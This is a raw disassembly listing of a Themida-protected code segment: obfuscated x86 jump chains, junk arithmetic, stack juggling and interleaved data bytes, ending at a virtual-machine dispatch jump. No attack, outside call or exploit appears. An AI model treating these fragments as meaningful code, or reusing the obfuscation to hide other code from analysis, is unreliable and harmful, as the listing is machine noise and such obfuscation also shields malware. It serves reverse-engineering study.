loc_5163B2: ; CODE XREF: Themida_:0052108Aj inc edx inc edx jmp loc_520C57 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 4BDh, 0F9F7E900h, 0BEBEFFFFh, 8139BB7Fh, 80429FCEh dd 6DEE8166h, 8168017Fh, 0D94D9BEEh, 4DC68127h, 0E9101F4Dh dd 6694h, 0A5EE815Ah, 682A902Eh, 7B64h, 0E9241489h, 0FFFFC5F1h dd 81242C89h, 4ECh, 24248900h, 4240483h, 5D2434FFh, 58AF68h dd 240C8900h, 8904EC83h, 4832424h, 0DAE90424h, 8300006Bh dd 0DF8704C4h, 0C80BE9h, 0E9515800h, 0FFFFF6CFh, 0FB89F789h dd 0DD895E5Fh, 0B6F6E9h, 0DDE95F00h, 8B00009Dh, 0DA302424h dd 0DA30D330h, 0CA30E9h db 0 ; --------------------------------------------------------------------------- loc_516459: ; CODE XREF: Themida_:0051D7B3j not dword ptr [esp] pop ebx jmp loc_521F40 ; --------------------------------------------------------------------------- loc_516462: ; CODE XREF: Themida_:00520E39j or ebp, 35E80BA2h sub ebp, 0CCC6709Eh mov ecx, ebp pop ebp jmp loc_522AB1 ; --------------------------------------------------------------------------- dw 0D668h dd 0E9000022h, 4764h, 3042BD55h, 0F58127E1h, 2149ED56h dd 0FFE657E9h, 24048BFFh, 614AE9h, 241C8900h, 61218ABBh dd 0F63EE930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5164A6: ; CODE XREF: Themida_:00515B37j pop esp push 0E4h mov [esp], ecx mov ecx, 436F3B1Eh add ebx, 23F2689Eh sub ebx, ecx sub ebx, 23F2689Eh pop ecx sub ebx, eax push ecx mov ecx, 436F3B1Eh jmp loc_513D72 ; --------------------------------------------------------------------------- dd 8F5E5Eh, 0FF9233E9h, 0F28158FFh, 0E2A85AFDh, 0E95AD389h dd 0FFFFD8DFh, 1091BE56h, 0F03173E6h, 60EB0D5Eh, 1EE934D0h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5164FB: ; CODE XREF: Themida_:00512565j sub edx, 67BB6957h sub edx, 1F0E10ADh push eax jmp loc_510619 ; --------------------------------------------------------------------------- aUsyp db 9,'îéyp',0 align 4 dd 24048B66h, 2C483h, 2434FFF0h, 4EC815Ah, 89000000h, 0E0892404h dd 405h, 35BCE900h, 0E5810000h, 474D0F81h, 0D1F7CD87h dd 90E1E9h db 0 ; --------------------------------------------------------------------------- loc_516545: ; CODE XREF: Themida_:0051786Dj push ebp mov ebp, esp push esi jmp loc_524FE6 ; --------------------------------------------------------------------------- dw 0B68h dd 8900001Ch, 0CD89242Ch, 71CCE9h, 81E38900h, 4C3h, 0BCEEE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51656A: ; CODE XREF: Themida_:005239F5j pop esp mov [esp], ebx push edx sub esp, 4 mov [esp], ebx mov bl, cl jmp loc_510905 ; --------------------------------------------------------------------------- db 89h dd 98E9241Ch, 81000056h, 7E667FCEh, 6E6C122h, 8106EEC1h dd 958AD5C6h, 5EF3214Ch, 5063E9h, 68E38900h, 3C80h, 68240489h dd 4, 0BEB8158h, 139DA4Ch, 66B951C3h, 492D5E10h, 6ED5BF57h dd 9BE92778h db 0DBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5165CB: ; CODE XREF: Themida_:0051D954j xor [esp], esi jmp loc_51B0FB ; --------------------------------------------------------------------------- db 0F7h dd 0EE8146D6h, 0EB18DCC7h, 9633E9h, 0C1814900h, 415D25E7h dd 4CCAE9h, 0EA815800h, 3F33210Fh, 0B850C201h, 2B265820h dd 0C8EE0540h, 0BFE9140Ch, 8900005Ah, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 4BD555Ch, 1000000h, 242C8BEEh, 3304C483h dd 34312434h, 24343324h, 8324248Bh, 2C8904ECh, 57E58924h dd 946285BFh, 0C7814F55h, 266F7673h, 5503E7C1h, 647D34BDh dd 0E9DDF768h, 8BC8h, 4C781h, 3C330000h, 243C3124h, 1671E9h dd 0CE295D00h, 81240C8Bh, 4C4h, 2434FF00h, 0E789575Dh dd 4C781h, 0C7830000h, 243C8704h, 0FFE62FE9h db 0FFh ; --------------------------------------------------------------------------- loc_51668D: ; CODE XREF: Themida_:00517D36j pop ecx pop dword ptr [esp] pop esp or edx, eax shl edx, 1 sub esp, 4 jmp loc_51C347 ; --------------------------------------------------------------------------- loc_51669E: ; CODE XREF: Themida_:0051EDDDj push esi push esp push dword ptr [esp] pop esi add esp, 4 add esi, 4 push 7596h mov [esp], ebp mov ebp, 4 sub esi, 28A9060Bh add esi, ebp add esi, 28A9060Bh pop ebp jmp loc_510481 ; --------------------------------------------------------------------------- dw 0FFB8h dd 0E9FFFFFFh, 75C4h ; --------------------------------------------------------------------------- loc_5166D8: ; CODE XREF: Themida_:0050FA42j mov edi, ebx pop ebx add edi, ebx mov ebx, [esp] jmp loc_512CC7 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0C2h dd 8158110Fh, 4940FBEFh, 0E9F8319Fh, 0FFFFC54Ah ; --------------------------------------------------------------------------- loc_5166F8: ; CODE XREF: Themida_:0051CB3Fj add ecx, 69862F61h pop esi push edx jmp loc_5248D8 ; --------------------------------------------------------------------------- loc_516705: ; CODE XREF: Themida_:0051549Cj pop edi mov esi, [esp] jmp loc_5186CE ; --------------------------------------------------------------------------- dw 148Bh aWs db '$Wé\»',0 dw 2900h dd 0EB0159CBh, 71F7C381h, 3DE971C7h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516727: ; CODE XREF: Themida_:0051B6B4j add edi, 3483453Dh add edi, eax sub edi, 3483453Dh add edi, 5B375B16h mov eax, [esp] push ecx jmp loc_5103BE ; --------------------------------------------------------------------------- dd 0E902E8C1h, 24FBh ; --------------------------------------------------------------------------- loc_51674C: ; CODE XREF: Themida_:00519C24j mov ebp, [esp] jmp loc_512027 ; --------------------------------------------------------------------------- dd 5C243C87h, 4C781h, 0C7810000h, 4, 5C243C87h, 0E9240433h dd 3CEDh, 0CF1846B9h, 4E9C17Ah, 7094E9h, 539CB800h, 1AE952D4h dd 810000D7h, 6CC495F1h, 59CE29B9h, 0E924148Bh, 61B4h dd 0E924348Bh, 8A4Ch, 0C281DAF7h, 6E2A119Dh, 110CEA81h dd 14E97081h, 89000044h, 0EB015EF5h, 0E465E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5167BE: ; CODE XREF: Themida_:00524CE7j push esi mov esi, 1 jmp loc_510A5D ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 4EC835Ch, 0B5240C89h, 59EB281Dh, 0EC83C328h, 4896602h dd 0E91DB424h, 0C87Ah, 2001E181h, 0D1F7341Ah, 3C1CF181h dd 0C6E92A76h, 1000079h, 4055BD8h, 87000000h, 555C2404h dd 5D2414F7h, 22E95152h, 87FFFF99h, 248B2434h, 7FAF6824h dd 14890000h, 2519E924h, 6C810000h, 45AD0424h, 48B17B8h dd 6506824h, 0B1E90000h, 33FFFF97h, 0A7E9242Ch, 58FFFFE6h dd 0CCADE9h db 0 ; --------------------------------------------------------------------------- loc_516849: ; CODE XREF: Themida_:0051359Aj pop edx jmp loc_5138CD ; --------------------------------------------------------------------------- db 31h dd 0C33240Ch, 24248B24h, 0BF44E9h db 0 ; --------------------------------------------------------------------------- loc_51685D: ; CODE XREF: Themida_:00515DA8j add esp, 4 jmp loc_525026 ; --------------------------------------------------------------------------- dd 5A59CE29h, 0A7E95556h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516873: ; CODE XREF: Themida_:005158AEj inc esi add esi, 1 sub esi, 2C4C3540h push edi jmp loc_51416E ; --------------------------------------------------------------------------- db 89h dd 1CE9241Ch, 81FFFFA7h, 4ECh, 24048900h, 1E94BD55h, 6B8233Eh dd 2970FD38h, 55565DE8h, 3308E9h, 243C3100h, 0E9243C33h dd 1733h, 2434895Ch, 0CF79E952h, 0EE810000h, 0E0D25406h dd 4E9F209h, 81000082h, 4C3h, 4EB8100h, 87000000h, 0FBE9241Ch dd 81000034h, 4C4h, 61EF8100h, 29143241h, 0E803E9C7h, 0C181FFFFh dd 53766C51h, 2733F181h, 0BD55179Ah, 43174AD3h, 0E9ED8145h dd 4504972Ah, 61E0E581h, 67E94E66h, 100009Fh, 98C281FAh dd 0E9206237h, 0FFFFB6F9h ; --------------------------------------------------------------------------- loc_516924: ; CODE XREF: Themida_:0051EB20j add dword ptr [esp], 53195995h pop ebx jmp loc_51412A ; --------------------------------------------------------------------------- loc_516931: ; CODE XREF: Themida_:0052393Aj mov esi, esp add esi, 4 add esi, 4 push 2029h jmp loc_515C35 ; --------------------------------------------------------------------------- dw 0DEF7h dd 5E66E9h db 0 ; --------------------------------------------------------------------------- loc_51694D: ; CODE XREF: Themida_:005245D3j add esp, 4 push 196Ah jmp loc_51E079 ; --------------------------------------------------------------------------- aZsZ db 'Zé×§',0 db 0 ; --------------------------------------------------------------------------- loc_516963: ; CODE XREF: Themida_:005193ABj add esp, 4 pop dword ptr [esp] jmp loc_513EB3 ; --------------------------------------------------------------------------- db 5Ah, 57h, 0E9h dd 0FFFFF962h, 0C8BE828h, 4C48324h, 0A45EE9h, 2EC8100h dd 66000000h, 0E9241489h, 0FFFFDAACh, 620168h, 241C8900h dd 0DB64E9h db 0 ; --------------------------------------------------------------------------- loc_5169A1: ; CODE XREF: Themida_:0051F5D3j sub dword ptr [esp], 1CF173E6h pop ecx jmp loc_51E605 ; --------------------------------------------------------------------------- dw 59E9h dd 1FFFF8Dh, 240C8BC8h, 81E38953h, 4C3h, 4BE5600h, 1000000h dd 0FF535EF3h, 5B042474h, 8B24048Fh, 0EC812424h, 4, 0E9241489h dd 0BF48h ; --------------------------------------------------------------------------- loc_5169E4: ; CODE XREF: Themida_:00523ECCj inc ebp dec ebp jmp loc_51C2A7 ; --------------------------------------------------------------------------- db 0ADh dd 8F50272Dh, 61B95103h, 8163BA01h, 0C762FEF1h, 0A510E926h dd 0C5810000h, 4, 6F81E9h, 0BD555700h, 4AF23797h, 0FFAD94E9h dd 37E958FFh db 0E2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_516A1F: ; CODE XREF: Themida_:00515EAAj not dword ptr [esp] pop ebx neg ebx jmp loc_512589 ; --------------------------------------------------------------------------- loc_516A2A: ; CODE XREF: Themida_:0051706Cj add eax, ebp pop ebp pop edi jmp loc_51F86B ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 60E95224h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_516A3F: ; CODE XREF: Themida_:005199C8j add esi, 4 jmp loc_52156D ; --------------------------------------------------------------------------- dw 1C89h dd 1DCABB24h, 0C3815233h, 27D54F3Ah, 71B0EB81h, 0EB814DB9h dd 2AE304A8h, 7C6EEB81h, 0C3812B5Eh, 7BEF8678h, 6009C281h dd 0DA297B78h, 6009EA81h, 34FF7B78h, 0C4835B24h, 1AC28104h dd 1210534h, 1AEA81CAh, 55210534h, 91E5EBDh, 0ED814565h dd 130C1DA9h, 0AE9EA01h, 8900007Bh, 0E589242Ch, 282668h dd 0D3B6E900h, 14870000h, 0B9515C24h, 54E725ADh, 4BD5E981h dd 0E1D17E86h, 8107E1C1h, 550A09C9h, 6EE9812Eh, 81604C78h dd 0B4B669C1h, 0E9CF0960h, 5497h ; --------------------------------------------------------------------------- loc_516AE4: ; CODE XREF: Themida_:0051BBDAj add ebx, 60AB5006h add ebx, 538575B1h sub ebx, 62CF729Fh sub esi, ebx pop ebx jmp loc_52453D ; --------------------------------------------------------------------------- dw 815Ah dd 0CBDF71C2h, 0E9D631BFh, 0FFFFEB46h, 4C481h, 0ED810000h dd 63007E9Ah, 6D57685Ah, 2C890000h, 2474FF24h, 2434FF04h dd 4C4835Dh, 5C24048Fh, 0FF2434FFh, 83582434h, 8D6804C4h dd 8900000Fh, 0EC81241Ch, 4, 83242489h, 5B042404h, 4EC81h dd 3C890000h, 24685324h, 0E9549426h, 5B62h, 8BE9C330h dd 8100000Bh, 68082DF2h, 93F2815Dh, 810C3271h, 0CCE5F8EAh dd 53E22DD1h, 0CFE9520Bh, 6800001Dh, 1DF9h, 0FFD6B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_516B91: ; CODE XREF: Themida_:0051F5F1j add esp, 4 mov eax, [esp] add esp, 4 xor eax, 44392B03h jmp loc_5128A8 ; --------------------------------------------------------------------------- db 0BFh dd 0BA4B7693h, 295FFE01h, 0C3835EF3h, 0F7DBF7FFh, 1A45E9DBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_516BBE: ; CODE XREF: Themida_:0051DB73j mov esi, 0A6C3E24h neg esi or esi, 16C94A04h jmp loc_51947D ; --------------------------------------------------------------------------- dd 50241489h, 8B32E99Ch, 0EE81FFFFh, 3E115002h, 703C68h dd 240C8900h, 0FFB50DE9h, 1B4DBBFFh, 0E943508Ah, 683Fh dd 66E2EE81h, 5AE952B7h, 5CFFFFEEh, 6092E9h, 0CE98100h dd 18CB58Eh, 0A403E9CFh, 0C2810000h, 1, 45DBB850h, 52D69CFh dd 3548B376h, 6CA14D60h, 4E8C140h, 0E295FC2Dh, 58C209DCh dd 0FA90E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516C3E: ; CODE XREF: Themida_:005152A4j push 4E5h mov [esp], edi jmp loc_51367B ; --------------------------------------------------------------------------- db 0BDh dd 1A45A6h, 1123EABAh, 5DEA3176h, 7B9BF281h, 0E2812635h dd 2C3413C3h, 0FFCCD2E9h db 0FFh ; --------------------------------------------------------------------------- loc_516C69: ; CODE XREF: Themida_:0051838Ej add ebp, 4 jmp loc_51B4F9 ; --------------------------------------------------------------------------- dd 8B04C483h, 0AEE92404h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_516C7F: ; CODE XREF: Themida_:00512A9Fj push edi mov ebx, [esp] add esp, 4 pop edi mov ebp, [esp] add esp, 4 xor [esp+4], ebx jmp loc_51E17B ; --------------------------------------------------------------------------- dw 8143h dd 442FC7EBh, 0C3814B0Eh, 0E25A9499h, 815BDD29h, 0FB27D8F5h dd 9DC28117h, 29432D66h, 9DB850EAh, 81432D66h, 86390BEAh dd 81C22963h, 86390BC2h, 95E9E963h, 1489FFFFh, 0B1515324h dd 59CB8809h, 0E904EC83h, 0FFFFEBACh, 243CD35Ch, 8DC1E99Ch dd 248BFFFFh, 8A1AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516CF2: ; CODE XREF: Themida_:005240E3j mov ebx, [esp] jmp loc_51F020 ; --------------------------------------------------------------------------- loc_516CFA: ; CODE XREF: Themida_:0051B8B0j add eax, 4 jmp loc_5134F4 ; --------------------------------------------------------------------------- aBJchsS db 'Î(J–hé´™',0 dw 0E900h dd 0FFFF89F8h, 24048B66h, 19AB68h, 0F6DAE900h, 0C501FFFFh dd 7500E958h, 81590000h, 127560C3h, 81C30111h, 127560EBh dd 505A5811h, 4C6F19B8h, 5C173530h, 0D1480D1Dh, 4FF935E0h dd 1F05403Ch, 57C561D6h, 6C3593BFh, 0E9FB2919h, 0FFFFAA2Dh ; --------------------------------------------------------------------------- loc_516D60: ; CODE XREF: Themida_:00511BBEj mov eax, [esp] add esp, 4 add ebx, ebp pop ebp add dword ptr [ebx], 1 push dword ptr [esp] jmp loc_51A637 ; --------------------------------------------------------------------------- loc_516D77: ; CODE XREF: Themida_:0051C1FBj and eax, ebp push dword ptr [esp] push dword ptr [esp] jmp loc_518F73 ; --------------------------------------------------------------------------- loc_516D84: ; CODE XREF: Themida_:0051B1FDj push ebx mov ebx, 3F4A0D70h not ebx push eax jmp loc_518F50 ; --------------------------------------------------------------------------- aAaSU db '€í¾é=“',0 align 2 a4gsi db '4£é©^',0 dd 0C0BFBA00h, 0CA015E0Bh, 37EA8159h, 816E1D22h, 0AF3A24F2h dd 81DAF736h, 491575E2h, 4E2C126h, 0E3A4B951h, 9CE9EF77h dd 5E0000CCh, 0BFE9F787h, 0BA000086h, 252C0842h, 815AD329h dd 0EE60B1E3h, 95C2E92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516DE6: ; CODE XREF: Themida_:005103E4j inc edi push edx jmp loc_524A84 ; --------------------------------------------------------------------------- loc_516DED: ; CODE XREF: Themida_:005102CDj add edx, 4 jmp loc_512FEE ; --------------------------------------------------------------------------- a5xzi5hN db '5•Zë5hÀn',0 align 2 dw 0C89h aUvsP db '$UVéЯ',0 align 4 loc_516E0C: ; CODE XREF: Themida_:0051B7DEj xor eax, 0CA5CA3DCh mov ebp, eax pop eax add esi, ebp pop ebp xchg esi, [esp] pop esp xor esi, 75CB0C1Ch jmp loc_51F37C ; --------------------------------------------------------------------------- loc_516E26: ; CODE XREF: Themida_:0051DCE1j pop ebx sub edx, 4 xchg edx, [esp] jmp loc_514474 ; --------------------------------------------------------------------------- dw 0CBEh dd 8103C011h, 5277C1CEh, 81D6F74Bh, 2F6BD9C6h, 5EF231D3h dd 6AE2814Ah, 68608C73h, 0 dd 5A241429h, 0EAD1EAD1h, 3EE5F281h, 45E9A054h, 660000C3h dd 66240C31h, 0E9240C33h, 0FFFF8E96h ; --------------------------------------------------------------------------- loc_516E74: ; CODE XREF: Themida_:0051FCA7j sub esp, 4 mov [esp], eax push ecx jmp loc_521121 ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 8704C683h, 248B2434h, 4EC8124h, 89000000h dd 0FAE9243Ch db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_516E9F: ; CODE XREF: Themida_:00519772j push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], eax push 21476E55h pop eax shl eax, 6 or eax, 538638B2h push ebp mov ebp, 56D161A6h or ebp, 6610202Ah not ebp add ebp, 1 add ebp, 724A01A6h push ebx mov ebx, 0D54D756h xor ebp, ebx pop ebx add eax, ebp pop ebp push 5122h jmp loc_517AB3 ; --------------------------------------------------------------------------- db 5Fh dd 31243433h, 34332434h, 9EE95C24h, 4FFFFF2h, 8952595Ch dd 4C281E2h, 81000000h, 2EAh, 24148700h, 0C89665Ch, 434B524h dd 0EDBEE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516F22: ; CODE XREF: Themida_:00524ACDj pop ebx add ebx, 0C6D88807h mov ebp, ebx pop ebx push ebp jmp loc_51B3FC ; --------------------------------------------------------------------------- loc_516F32: ; CODE XREF: Themida_:0051F46Fj push edx mov edx, 121B3A48h sub ebx, edx pop edx shl ebx, 7 sub ebx, 734E5876h push eax mov eax, 1BDF709Dh or ebx, eax jmp loc_5160D3 ; --------------------------------------------------------------------------- db 68h, 0E4h, 16h dd 815A1212h, 0ED59ADF2h, 0F7DAF770h, 3D81E9D2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_516F66: ; CODE XREF: Themida_:00515809j push edi mov edi, ecx mov esi, edi pop edi pop ecx push 6C5Eh mov [esp], esi mov eax, [esp] add esp, 4 push dword ptr [esp] mov esi, [esp] jmp loc_518D46 ; --------------------------------------------------------------------------- loc_516F86: ; CODE XREF: Themida_:00524089j mov ebx, 4A3F0CD2h sub ebx, 4A3F0CCEh add esi, ebx pop ebx push eax mov eax, 4 jmp loc_5122E2 ; --------------------------------------------------------------------------- aUsps db 'Ué¯s',0 dd 0F7665C00h, 456866F9h, 14896634h, 9C506624h, 0FF8753E9h dd 0F58195FFh, 0B6D4F5A9h, 5527222Dh, 5E82939h, 39552722h dd 605D685Dh, 34890000h, 4EC8124h, 89000000h, 3DB82404h dd 0BE08845Ch, 307DE4B5h, 0B5B9E9h, 241C8900h, 0DEA9E9h dd 58F68100h, 0E983F969h, 3E05h, 0C93BF9BBh, 8E3C163h dd 32F7CB81h, 0F3816D8Fh, 76F31412h, 0FFE9B5E9h, 53EA81FFh dd 0E949172Ch, 0F8Ch, 5B66DE30h, 148BF488h, 4C48324h, 48BE728h dd 4C48124h, 80000000h, 0EF80C1C7h, 35F78001h, 1C8BF828h dd 4C48324h, 0FFFB13E9h db 0FFh ; --------------------------------------------------------------------------- loc_517051: ; CODE XREF: Themida_:0052118Bj mov [esp], ecx jmp loc_51CB05 ; --------------------------------------------------------------------------- loc_517059: ; CODE XREF: Themida_:00517D96j dec ebp xor ebp, 108D5F59h sub ebp, 693252Bh add ebp, 0B3FD6474h jmp loc_516A2A ; --------------------------------------------------------------------------- aI4Ts db '‰4$Téݰ',0 align 2 dw 489h dd 24148724h, 0FF8951E9h, 81E189FFh, 4C1h, 4C18100h, 0E9000000h dd 0FFFFAD5Ch, 3F24C0FEh, 0FF9925E9h db 0FFh ; --------------------------------------------------------------------------- loc_5170A1: ; CODE XREF: Themida_:00513F05j pop esi pop dword ptr [esp] pop esp sub edx, 58533EDBh push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_511FC7 ; --------------------------------------------------------------------------- loc_5170C1: ; CODE XREF: Themida_:0051AD74j add [esp+4], ebp mov ebp, [esp] add esp, 4 pop ecx sub ecx, 14341239h pop esi add eax, 42B81648h jmp loc_51B64A ; --------------------------------------------------------------------------- dd 0A698E957h, 0C281FFFFh, 762045DAh, 57D3F281h, 0B9511EA4h dd 542E40F7h, 0C181D9F7h, 58D1FA9h, 0E1C1D9F7h, 53CFE905h dd 0F72D0000h, 0E92EFB1Bh, 0FFFF8C2Bh, 0FF240489h, 0E9042474h dd 6717h ; --------------------------------------------------------------------------- loc_517120: ; CODE XREF: Themida_:0051F661j mov [esp], esi push ecx mov ecx, 1E22619Dh push ebx mov ebx, ecx mov esi, ebx jmp loc_51FFB5 ; --------------------------------------------------------------------------- loc_517133: ; CODE XREF: Themida_:00511A10j xchg ebp, esi jmp loc_520828 ; --------------------------------------------------------------------------- dw 5159h dd 0BF57E189h, 3E0130BFh, 0B951h, 0F9290000h, 0C8BCF89h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 96CF815Ch dd 4F4C2059h, 0DFD2EF81h, 0C181CDFEh, 38917322h, 0B850F901h dd 38917322h, 3E9C129h, 68000032h, 343Eh, 0E9243489h, 2416h dd 0E924348Bh, 0FFFFE38Bh, 0BD73C381h, 5DE9FD16h, 50FFFF99h dd 47346852h, 0E95A25F2h, 0FFFF88C9h ; --------------------------------------------------------------------------- loc_5171B0: ; CODE XREF: Themida_:0051AE22j sub ebp, 86F3Ch add ebx, ebp pop ebp jmp loc_5103B3 ; --------------------------------------------------------------------------- loc_5171BE: ; CODE XREF: Themida_:005159F5j mov ebx, [esp] add esp, 4 add edi, ebx mov ebx, [esp] sub esp, 4 mov [esp], edi jmp loc_511BC3 ; --------------------------------------------------------------------------- loc_5171D4: ; CODE XREF: Themida_:00512436j pop edx add esp, 4 push 3C42h jmp loc_518474 ; --------------------------------------------------------------------------- db 0FFh, 77h, 3Ch dd 4EC81h, 9BE90000h, 0F7000019h, 87F2E9D9h, 0E9590000h dd 0DC27h, 0CBC7814Fh, 299882C7h, 0F1095FFEh, 0B237E95Eh dd 0BF57FFFFh, 570842A6h, 8246C81h, 3FCD27CBh, 8244481h dd 17FA0166h, 8247C29h, 8246C81h, 17FA0166h, 8244481h dd 3FCD27CBh, 68B1E95Fh, 52570000h, 2A754868h, 24148B23h dd 4C481h, 0EAC10000h, 1BF28102h, 5025B4C6h, 0C789D089h dd 600BE9h db 0, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_512DA0 ; --------------------------------------------------------------------------- loc_51726E: ; CODE XREF: Themida_:0051A922j shr ebx, 2 jmp loc_52315B ; --------------------------------------------------------------------------- dw 3168h dd 8900002Eh, 45BB241Ch, 815D8C33h, 3D2FC3h, 4EBC130h dd 376168h, 24348900h, 1A47E9h, 0FFFFBF00h, 0FA01FFFFh dd 81243C8Bh, 4C4h, 96F28100h, 1AB3528h, 24148BD3h, 2904C483h dd 8586E9C3h, 0EB810000h, 1BC3BABh, 2F43C381h, 0CBE90FFFh dd 8000004Eh, 0F02815C6h, 8B22045Ah, 0C481240Ch, 4, 4EC81h dd 0C890000h, 0E949B524h, 91C7h ; --------------------------------------------------------------------------- loc_5172F0: ; CODE XREF: Themida_:00523183j add eax, 2D235E36h add eax, edx sub eax, 2D235E36h jmp loc_518E97 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C4h dd 4, 0B8368h, 240C8900h, 0C0C1B450h, 516604E4h, 0EC304AB5h dd 0E1885966h, 0FF88FAE9h, 4BFFFh, 0FE290000h, 4655E95Fh dd 0EC810000h, 4, 0BB241C89h, 413381A8h, 0E95BDF01h, 505Eh ; --------------------------------------------------------------------------- loc_517348: ; CODE XREF: Themida_:005218D9j push eax mov eax, esp add eax, 4 jmp loc_5219A2 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFE312h, 194CC581h, 0BA5275FAh, 5BFC76FAh dd 0E95AD529h, 32A7h, 3C6DC181h, 8E92B4Ah, 0BDFFFFF4h dd 5A4422F6h, 58398B9h, 70E9815Fh, 290F5752h, 0D7BE56E9h dd 466D9F26h, 6517E681h, 0BBE94B18h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5173A3: ; CODE XREF: Themida_:0051CA1Dj sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 push ebp push 6BD90DA9h push dword ptr [esp] jmp loc_51155F ; --------------------------------------------------------------------------- dw 0F181h dd 5DB022D3h, 8159CF01h, 52E29DF7h, 0E9FE2951h, 0FFFFCB4Ch dd 0E958C189h, 42D9h, 7158C381h, 0DBF71A3Eh, 0E7BE5650h dd 52528526h, 504463BAh, 5AD60955h, 0EE81DEF7h, 0DB901048h dd 5BE9F089h, 0BDFFFF85h, 2C0827DFh, 2F29C281h, 37E9770Dh dd 21FFFFD6h, 0DE355AD0h, 93701D79h, 5393D3F7h, 642061BBh dd 5C38165h, 81C7D604h, 0C3219CBh, 0F7F38735h, 0C1F387D6h dd 0DBF705E3h, 0C227F381h, 0D801CA56h, 0DC7DE95Bh, 0E6D0FFFFh dd 6602EC83h, 53240489h, 28E9B0B3h, 5B00001Ah, 6864E9h db 0 ; --------------------------------------------------------------------------- loc_517465: ; CODE XREF: Themida_:005207C6j mov eax, 1AB8647Ah add ecx, eax pop eax mov edi, [esp] add esp, 4 xchg ecx, [esp] pop esp mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_51016E ; --------------------------------------------------------------------------- dw 148Bh dd 4C48124h, 0E9000000h, 7C7Dh ; --------------------------------------------------------------------------- loc_51749C: ; CODE XREF: Themida_:00512744j pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_517A8B ; --------------------------------------------------------------------------- dd 0E9D83059h, 0FFFF8373h ; --------------------------------------------------------------------------- loc_5174B0: ; CODE XREF: Themida_:00513D15j pop ebx jmp loc_51A225 ; --------------------------------------------------------------------------- dw 0C788h dd 9AF2E958h, 3C89FFFFh, 0B472E924h, 0E789FFFFh, 0FF9CF3E9h dd 5EF001FFh, 2B951h, 0C8010000h, 24048759h, 288645Ch dd 0FF8227E9h, 2216B9FFh, 0CB010250h, 13C7E9h, 0F8E95800h dd 810000C0h, 9228CEC6h, 767EE93Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_517502: ; CODE XREF: Themida_:0051D89Fj mov [esp], edi push ebp push 0C4D3F03h pop ebp jmp loc_514260 ; --------------------------------------------------------------------------- db 0B0h, 69h, 30h dd 0D2E95BF8h, 81FFFFDFh, 48638EC3h, 5EA6E9ECh, 0B6520000h dd 3CE6804Fh, 7A1E9h db 0 ; --------------------------------------------------------------------------- loc_517531: ; CODE XREF: Themida_:005236FBj pop edx push 21B7h mov [esp], ebp pop edx push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_520CB0 ; --------------------------------------------------------------------------- loc_51755A: ; CODE XREF: Themida_:0051E490j pop ebp sub esp, 4 mov [esp], edi mov edi, 6440757h sub edi, 6440753h sub ebp, 51617147h sub ebp, 68C010A8h add ebp, edi jmp loc_51EBC2 ; --------------------------------------------------------------------------- loc_517582: ; CODE XREF: Themida_:00521014j mov esp, [esp] sub esp, 4 mov [esp], ebx push edx push ecx mov ch, al mov dh, ch pop ecx mov bh, dh pop edx push 59B8h mov [esp], ecx mov ecx, 0 push eax mov eax, 3F872069h add ecx, eax pop eax add ecx, edx sub ecx, 3F872069h mov [ecx], bh push dword ptr [esp] pop ecx push edi mov edi, esp push ecx push 52FDh mov [esp], esi mov esi, 207466F2h or esi, 57FA5F2Ch push esi not dword ptr [esp] pop esi shl esi, 5 push ebp mov ebp, 5DB75C6Bh xor esi, ebp pop ebp mov ecx, esi pop esi jmp loc_522E03 ; --------------------------------------------------------------------------- loc_5175EC: ; CODE XREF: Themida_:005148DEj xchg esi, [esp] pop esp jmp loc_517E52 ; --------------------------------------------------------------------------- aFbXSxl db 'fêå+éå‹',0 dw 8800h dd 0C8B5BFCh, 4C48324h, 8158E388h, 4ECh, 24148900h, 0B664B753h dd 5BFE284Ch, 6805EEC0h, 5EC1h, 1414E9h, 46D6F700h, 975BC681h dd 0F029859Bh, 4605E9h, 5BD90100h, 4C181h, 0C330000h, 574EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51764A: ; CODE XREF: Themida_:00522AB5j add eax, 4 jmp loc_515E61 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8B241487h, 34FF2424h, 241C8B24h, 4C481h, 0C4810000h dd 4, 58E9BD2Ch, 8B000059h, 0C4812404h, 4, 2DE95358h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_517687: ; CODE XREF: Themida_:0052244Bj pop edx movzx eax, al jmp dword ptr [edi+eax*4] ; 